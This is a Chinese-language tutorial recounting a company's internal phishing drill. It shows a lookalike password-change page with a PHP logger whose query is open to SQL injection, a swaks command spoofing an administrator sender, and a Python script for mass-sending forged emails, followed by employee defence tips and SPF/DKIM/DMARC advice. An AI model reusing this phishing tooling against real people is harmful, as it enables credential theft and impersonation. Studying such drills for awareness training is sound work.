记一次真实的邮件钓鱼演练
字数 994 2025-08-26 22:11:29

邮件钓鱼演练实战教学文档

一、演练背景与准备

  1. 演练目的:配合部门月度信息安全主题宣讲,进行真实的邮件钓鱼演练,测试员工安全意识
  2. 目标对象:公司全员
  3. 技术前提:确认公司Exchange服务器未开启SPF等反钓鱼策略(提高成功率)

二、钓鱼系统搭建

1. 钓鱼页面制作

方案选择

  • 完全克隆原系统(推荐使用setoolkit的site cloner功能)
  • 简化制作(本案例选择):仅保留关键页面元素

本案例实现

  • 在修改密码页面增加域账号输入框
  • 前端效果:模仿原系统登录界面
  • 后端实现:仅记录用户名不记录密码

技术实现

<?php
$con = mysql_connect("localhost","root","XXXX");
if (!$con) { die('Could not connect: ' . mysql_error()); }
mysql_select_db("test", $con);
$sql="INSERT INTO user(username)VALUES('$_POST[inputuser]')";
if (!mysql_query($sql,$con)) { die('Error: ' . mysql_error()); }
echo "<script> {window.alert('密码修改成功');window.open('http://xxx.com', '_top')} </script>";
mysql_close($con)
?>

2. 域名选择技巧

  • 使用与真实域名相似的变体(如o→0,11→ll)
  • 或使用域名短链接服务

三、钓鱼邮件发送

1. 发送工具选择

  • 主要工具:swaks
  • 基本命令格式:
swaks --tls --to xxx@qq.com --from administrator@xxx.com --ehlo qq.com --body hello --header "Subject: hello"

参数说明:

  • --from:伪造的发件人邮箱
  • --ehlo:伪造的邮件ehlo头
  • --body:邮件正文
  • --header:邮件头信息

2. 批量发送实现

使用Python脚本实现自动化批量发送:

import time
import sys
import subprocess

file_c = '''
Subject: =?gb2312?B?xxxxxxxdLss6M=?=
Thread-Topic: =?gb2312?B?0/Lxxxxxxxxxss6M=?=
Thread-Index: AdT6eO/KxxxxxxxxxxxxxxxxIKA==
Date: {time.ctime()} +0800
Accept-Language: zh-CN, en-US
Content-Language: zh-CN
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-originating-ip: [x.x.x.x]
Content-Type:xxxxxxxxx;
Return-Path: administrator@xxx.com
xxx内容xxx
'''

file = open(f'/usr/local/src/{sys.argv[1]}', 'r')
names = file.readlines()

for name in names:
    file_f = f'To: "{name.strip()}" <{name.strip()}>\n'
    with open('/usr/local/src/file.txt', 'w') as f:
        f.writelines(file_f + file_c)
    status = subprocess.Popen(['swaks', '--tls', '--data', '/usr/local/src/file.txt', '--to', name.strip(), '--from', 'administrator@xxx.com'], stdout=subprocess.PIPE)
    lg = status.stdout.readlines()
    with open('/usr/local/src/log.txt', 'a+') as g:
        for line in lg:
            g.write(line.decode())

使用方式

python mail.py sec.txt

3. 发送策略

  • 每天随机发送150-200人(根据公司规模调整)
  • 邮件内容要点:
    • 使用真实链接+超链接到钓鱼系统
    • 邮件头精心构造(包括Subject、Thread-Topic等)

四、演练结果与反馈

  • 三天后统计:100+人中招(包括高级管理人员)
  • 内部通报结果
  • 未事前报备(增加真实性)

五、防御建议(员工教育要点)

三步骤防御法

  1. 一看

    • 检查发件人地址真实性
    • 注意邮件正文异常(如措辞、格式等)
  2. 二查

    • 悬停检查邮件中的链接真实地址
    • 对比与官方链接的差异
  3. 三核实

    • 通过官方渠道联系发件人核实
    • 注意:发件人地址可伪造,不能仅凭地址判断

通用安全准则

  • 不随意点击邮件链接
  • 不下载可疑附件
  • 发现可疑情况及时报告安全部门

六、技术要点总结

  1. SPF策略重要性:企业应配置SPF、DKIM、DMARC等邮件安全策略
  2. 钓鱼页面制作:保持与真实系统高度一致
  3. 邮件伪造技术:利用未受保护的邮件服务器发送伪造邮件
  4. 社会工程学:利用紧急/常规事务(如密码修改)提高成功率

附录:工具列表

  1. setoolkit - 网站克隆
  2. swaks - 邮件发送
  3. MySQL/PHP - 钓鱼页面后端
  4. Python - 批量发送脚本

注:本教学文档仅用于安全防御教育目的,禁止用于非法活动。

邮件钓鱼演练实战教学文档 一、演练背景与准备 演练目的 :配合部门月度信息安全主题宣讲,进行真实的邮件钓鱼演练,测试员工安全意识 目标对象 :公司全员 技术前提 :确认公司Exchange服务器未开启SPF等反钓鱼策略(提高成功率) 二、钓鱼系统搭建 1. 钓鱼页面制作 方案选择 : 完全克隆原系统(推荐使用setoolkit的site cloner功能) 简化制作(本案例选择):仅保留关键页面元素 本案例实现 : 在修改密码页面增加域账号输入框 前端效果:模仿原系统登录界面 后端实现:仅记录用户名不记录密码 技术实现 : 2. 域名选择技巧 使用与真实域名相似的变体(如o→0,11→ll) 或使用域名短链接服务 三、钓鱼邮件发送 1. 发送工具选择 主要工具:swaks 基本命令格式: 参数说明: --from :伪造的发件人邮箱 --ehlo :伪造的邮件ehlo头 --body :邮件正文 --header :邮件头信息 2. 批量发送实现 使用Python脚本实现自动化批量发送: 使用方式 : 3. 发送策略 每天随机发送150-200人(根据公司规模调整) 邮件内容要点: 使用真实链接+超链接到钓鱼系统 邮件头精心构造(包括Subject、Thread-Topic等) 四、演练结果与反馈 三天后统计:100+人中招(包括高级管理人员) 内部通报结果 未事前报备(增加真实性) 五、防御建议(员工教育要点) 三步骤防御法 一看 : 检查发件人地址真实性 注意邮件正文异常(如措辞、格式等) 二查 : 悬停检查邮件中的链接真实地址 对比与官方链接的差异 三核实 : 通过官方渠道联系发件人核实 注意:发件人地址可伪造,不能仅凭地址判断 通用安全准则 不随意点击邮件链接 不下载可疑附件 发现可疑情况及时报告安全部门 六、技术要点总结 SPF策略重要性 :企业应配置SPF、DKIM、DMARC等邮件安全策略 钓鱼页面制作 :保持与真实系统高度一致 邮件伪造技术 :利用未受保护的邮件服务器发送伪造邮件 社会工程学 :利用紧急/常规事务(如密码修改)提高成功率 附录:工具列表 setoolkit - 网站克隆 swaks - 邮件发送 MySQL/PHP - 钓鱼页面后端 Python - 批量发送脚本 注:本教学文档仅用于安全防御教育目的,禁止用于非法活动。